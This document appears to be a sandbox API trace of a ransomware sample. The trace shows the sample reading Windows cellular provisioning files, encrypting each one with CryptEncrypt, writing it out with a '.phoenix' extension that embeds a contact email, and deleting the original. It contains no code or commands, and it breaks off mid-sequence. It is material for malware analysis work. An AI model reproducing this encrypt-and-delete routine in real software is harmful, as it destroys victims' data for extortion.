	[0249.355] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\387__connections_cellular_singtel (singapore)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.355] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151440) returned 1
	[0249.355] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.355] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2ca, lpOverlapped=0x0) returned 1
	[0249.361] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0249.361] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0249.362] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0249.362] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.362] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0249.362] CryptDestroyKey (hKey=0x151640) returned 1
	[0249.362] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0249.362] CryptDestroyKey (hKey=0x151440) returned 1
	[0249.362] CloseHandle (hObject=0x2c8) returned 1
	[0249.362] CloseHandle (hObject=0x2b4) returned 1
	[0249.362] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\387__connections_cellular_singtel (singapore)_i3$(__mvid)@wap.provxml")) returned 1
	[0249.365] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.365] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\388__connections_cellular_starhub (singapore)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.365] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=847) returned 1
	[0249.365] CloseHandle (hObject=0x2b4) returned 1
	[0249.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\388__connections_cellular_starhub (singapore)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\388__connections_cellular_starhub (singapore)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.366] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\388__connections_cellular_starhub (singapore)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.366] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.366] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.366] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\388__connections_cellular_starhub (singapore)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.366] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1510c0) returned 1
	[0249.366] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.366] ReadFile (in: hFile=0x2b4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x34f, lpOverlapped=0x0) returned 1
	[0249.375] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0249.375] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0249.376] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0249.376] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.376] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0249.376] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0249.376] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0249.376] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0249.376] CloseHandle (hObject=0x2b4) returned 1
	[0249.376] CloseHandle (hObject=0x2c8) returned 1
	[0249.376] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\388__connections_cellular_starhub (singapore)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.377] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.378] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\38__connections_cellular_jllc mobile telesystems (belarus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.378] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=793) returned 1
	[0249.378] CloseHandle (hObject=0x2c8) returned 1
	[0249.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\38__connections_cellular_jllc mobile telesystems (belarus)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\38__connections_cellular_jllc mobile telesystems (belarus)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.378] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\38__connections_cellular_jllc mobile telesystems (belarus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.378] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.378] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.378] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\38__connections_cellular_jllc mobile telesystems (belarus)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.379] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151680) returned 1
	[0249.379] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.379] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x319, lpOverlapped=0x0) returned 1
	[0249.392] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x320, dwBufLen=0x320 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x320) returned 1
	[0249.392] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x320, lpOverlapped=0x0) returned 1
	[0249.393] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0249.393] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.393] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0249.393] CryptDestroyKey (hKey=0x151600) returned 1
	[0249.393] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0249.393] CryptDestroyKey (hKey=0x151680) returned 1
	[0249.393] CloseHandle (hObject=0x2c8) returned 1
	[0249.393] CloseHandle (hObject=0x2b4) returned 1
	[0249.393] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\38__connections_cellular_jllc mobile telesystems (belarus)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.394] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.394] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\390__connections_cellular_starhub (singapore)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.395] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=846) returned 1
	[0249.395] CloseHandle (hObject=0x2b4) returned 1
	[0249.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\390__connections_cellular_starhub (singapore)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0249.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\390__connections_cellular_starhub (singapore)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.395] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\390__connections_cellular_starhub (singapore)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.395] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.395] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.395] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\390__connections_cellular_starhub (singapore)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.396] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0249.396] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.396] ReadFile (in: hFile=0x2b4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x34e, lpOverlapped=0x0) returned 1
	[0249.411] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0249.411] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0249.412] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0249.412] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.412] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0249.412] CryptDestroyKey (hKey=0x151100) returned 1
	[0249.412] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0249.412] CryptDestroyKey (hKey=0x151200) returned 1
	[0249.413] CloseHandle (hObject=0x2b4) returned 1
	[0249.413] CloseHandle (hObject=0x2c8) returned 1
	[0249.413] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\390__connections_cellular_starhub (singapore)_i2$(__mvid)@wap.provxml")) returned 1
	[0249.414] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.414] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\392__connections_cellular_orange (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.414] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=713) returned 1
	[0249.414] CloseHandle (hObject=0x2c8) returned 1
	[0249.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\392__connections_cellular_orange (slovakia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\392__connections_cellular_orange (slovakia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.414] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\392__connections_cellular_orange (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.414] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.414] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.414] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\392__connections_cellular_orange (slovakia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.415] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0249.415] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.415] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c9, lpOverlapped=0x0) returned 1
	[0249.421] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0249.421] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0249.424] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1514c0) returned 1
	[0249.424] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
